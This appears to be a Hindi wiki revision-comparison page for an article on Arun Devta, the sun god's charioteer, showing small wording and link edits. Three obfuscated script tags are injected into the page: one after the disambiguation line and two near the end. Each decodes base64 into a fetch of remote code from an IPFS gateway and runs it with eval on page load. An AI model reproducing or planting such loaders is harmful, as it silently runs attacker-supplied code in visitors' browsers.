"अरुण देवता" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "अर्थात " to "अर्थात् ")
 
(एक अन्य सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
 
{{बहुविकल्प|बहुविकल्पी शब्द=अरुण|लेख का नाम=अरुण (बहुविकल्पी)}}
 
{{बहुविकल्प|बहुविकल्पी शब्द=अरुण|लेख का नाम=अरुण (बहुविकल्पी)}}
 
[[चित्र:Surya-arun.jpg|thumb|सारथि अरुण]]
 
[[चित्र:Surya-arun.jpg|thumb|सारथि अरुण]]
'''अरुण देवता''' प्रजापति [[कश्यप]] और विनता के पुत्र थे। इनके ज्येष्ठ भ्राता [[गरुड़]] थे, जो कि पक्षियों के राजा थे। अरुण को भगवान [[सूर्य]] देव का सारथी माना जाता है। [[रामायण]] में प्रसिद्ध [[सम्पाती]] और [[जटायु]] इन्हीं के पुत्र थे।
+
'''अरुण देवता''' प्रजापति [[कश्यप]] और [[विनता]] के पुत्र थे। इनके ज्येष्ठ भ्राता [[गरुड़]] थे, जो कि पक्षियों के राजा थे। अरुण को भगवान [[सूर्य]] देव का सारथी माना जाता है। [[रामायण]] में प्रसिद्ध [[सम्पाती]] और [[जटायु]] इन्हीं के पुत्र थे।
  
 
*अरुण देवता का विनता के पुत्र और [[गरुड़]] के ज्येष्ठ भ्राता के रूप में उल्लेख हुआ है।
 
*अरुण देवता का विनता के पुत्र और [[गरुड़]] के ज्येष्ठ भ्राता के रूप में उल्लेख हुआ है।
*पौराणिक कल्पना के अनुसार यह 'पंगु' अर्थात पाँवरहित हैं।  
+
*पौराणिक कल्पना के अनुसार यह 'पंगु' अर्थात् पाँवरहित हैं।  
 
*प्राय: सूर्य मंदिरों के सामने अरुण-स्तम्भ स्थापित किया जाता है।  
 
*प्राय: सूर्य मंदिरों के सामने अरुण-स्तम्भ स्थापित किया जाता है।  
 
*इसका भौतिक आधार है, सूर्योदय के पूर्व अरुणिमा (लाली)। इसी के रूपक का नाम 'अरुण' है।
 
*इसका भौतिक आधार है, सूर्योदय के पूर्व अरुणिमा (लाली)। इसी के रूपक का नाम 'अरुण' है।

07:52, 7 नवम्बर 2017 के समय का अवतरण

Disamb2.jpg अरुण एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- अरुण (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सारथि अरुण

अरुण देवता प्रजापति कश्यप और विनता के पुत्र थे। इनके ज्येष्ठ भ्राता गरुड़ थे, जो कि पक्षियों के राजा थे। अरुण को भगवान सूर्य देव का सारथी माना जाता है। रामायण में प्रसिद्ध सम्पाती और जटायु इन्हीं के पुत्र थे।

  • अरुण देवता का विनता के पुत्र और गरुड़ के ज्येष्ठ भ्राता के रूप में उल्लेख हुआ है।
  • पौराणिक कल्पना के अनुसार यह 'पंगु' अर्थात् पाँवरहित हैं।
  • प्राय: सूर्य मंदिरों के सामने अरुण-स्तम्भ स्थापित किया जाता है।
  • इसका भौतिक आधार है, सूर्योदय के पूर्व अरुणिमा (लाली)। इसी के रूपक का नाम 'अरुण' है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>